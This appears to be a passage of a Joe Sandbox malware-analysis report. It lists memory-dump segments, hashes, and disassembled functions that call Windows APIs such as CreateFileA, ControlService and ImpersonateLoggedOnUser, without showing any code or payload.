Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 682db9dfacce62c27211a7a44959be2457c1783dd8e63b850e8ba38fe6269d9a
Instruction ID: ba5b838fb2d8f10700a88e916b5713c2e6ea36b5ebcfd038e95f9f6ff66c166f
Opcode Fuzzy Hash: 682db9dfacce62c27211a7a44959be2457c1783dd8e63b850e8ba38fe6269d9a
Instruction Fuzzy Hash: 020124F210D6966ED712DF1495526FF3FA8DB8A334B2489AAE482CA002D6204D169F71

Function 00D377D9 Relevance: 1.6, APIs: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 052fd31c118c51eb92dccc31678531aa63b11036b0eb56dfcf6693d8425506bc
Instruction ID: ff2fb9fee459d6af37182fcf7aca29c9a59620b66c7d58e9a57f5695344fc9fc
Opcode Fuzzy Hash: 052fd31c118c51eb92dccc31678531aa63b11036b0eb56dfcf6693d8425506bc
Instruction Fuzzy Hash: 7B01B1F710C209ADE711CF549A94AFE77ACFBC2334F30442EE881D2801C2A15D499A35

Function 05451509 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05451580

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: f26b6e4c71f0d2d8705bb3acfa47d7c176a97cc1254d54442ee028e7be2f6ac5
Instruction ID: d9621e85281904bc0158174f635a374a74f5d05aa45a705e587e9a653dc9154b
Opcode Fuzzy Hash: f26b6e4c71f0d2d8705bb3acfa47d7c176a97cc1254d54442ee028e7be2f6ac5
Instruction Fuzzy Hash: 571103B5D002498FDB10CFAAC585BDEBBF4EB48320F10842AE959A7650D378A644CFA5

Function 05451510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05451580

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 4e4f70f5adc0503dc422a4212e802ab5da37ee6b18c347d5d5a2e86c8128c926
Instruction ID: db24e54b4f0958a568f16e172d59cfd7dc6eb55165bd4c0f691f8c8c51d7aaec
Opcode Fuzzy Hash: 4e4f70f5adc0503dc422a4212e802ab5da37ee6b18c347d5d5a2e86c8128c926
Instruction Fuzzy Hash: AA11E4B5D002499FDB10CF9AC584BDEFBF4EB48320F10842AE959A7351D378A644CFA5

Function 00D3758F Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2d09f3cd757bb986c733b430aa0acb29dab4141a3ddd7854b61bc73728ea6f28
Instruction ID: 9484466e2c863a59ca89e6ed19f166e8a787df462ba261d78d621afd5e1fa49c
Opcode Fuzzy Hash: 2d09f3cd757bb986c733b430aa0acb29dab4141a3ddd7854b61bc73728ea6f28
Instruction Fuzzy Hash: 3B11007254C202AFD702DF74CA52BAEB7B4FF82320F21806FE040CA452D3B049848B71

Function 00D378F6 Relevance: 1.6, APIs: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 458a540aa0888e8f71c7e1cc42d5902687c91a1e1e72691c11c3dbc7fcd5c0af
Instruction ID: 2d3ea8b29619054714550dd3ef6af561eb90597f18313fdfd1126c0f638c8e8d
Opcode Fuzzy Hash: 458a540aa0888e8f71c7e1cc42d5902687c91a1e1e72691c11c3dbc7fcd5c0af
Instruction Fuzzy Hash: 4C01D6F210D696AF9321DF1499806FF3BA4EB86774B34895AE0D3C6501D6708C06AF71

Function 05451301 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05451367

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: f3c89e82920c722060707793a9de0ca9a24e7b90e0d3694dbd7bddad9128c517
Instruction ID: 9558ae6a30c3fc9d100043700b1d7502911dbd2b5e63a51e69bcd683121ce111
Opcode Fuzzy Hash: f3c89e82920c722060707793a9de0ca9a24e7b90e0d3694dbd7bddad9128c517
Instruction Fuzzy Hash: 1B1113B18002498FDB10DF9AC845BDEBBF4EF48324F24845AD958A7650D778A544CFA5

Function 00D37906 Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?), ref: 00D379A1

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 590090585b770f9ee8497d05afc140c466c51fb3d119538dc44127ef5411a4c0
Instruction ID: df5e58eeaf2049c2f5b95037f7cb6c5bc95010d67dd60f97ea8dabb220b00a8e
Opcode Fuzzy Hash: 590090585b770f9ee8497d05afc140c466c51fb3d119538dc44127ef5411a4c0
Instruction Fuzzy Hash: E3F04CF210D6966FA320DF1095416FF3B68DBC6334F34896AF083C6001D6704C06AB31

Function 05451308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05451367

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 5574bdb3c08f7b10e2f59b25f65c063eaec6f2e7533b1b94679cbeab853b1109
Instruction ID: 93d163aef8e15e1053f52175b363ff1008e3635875835a3c782a2c57e1b9a841
Opcode Fuzzy Hash: 5574bdb3c08f7b10e2f59b25f65c063eaec6f2e7533b1b94679cbeab853b1109
Instruction Fuzzy Hash: 781125B18002498FDB10CF9AC444BDEBBF4EB48320F10845AD558A7650D778A544CBA5

Function 00D37664 Relevance: 1.5, APIs: 1, Instructions: 46fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,C878AEC6,00000003,00000000,00000003), ref: 00D37623

Memory Dump Source

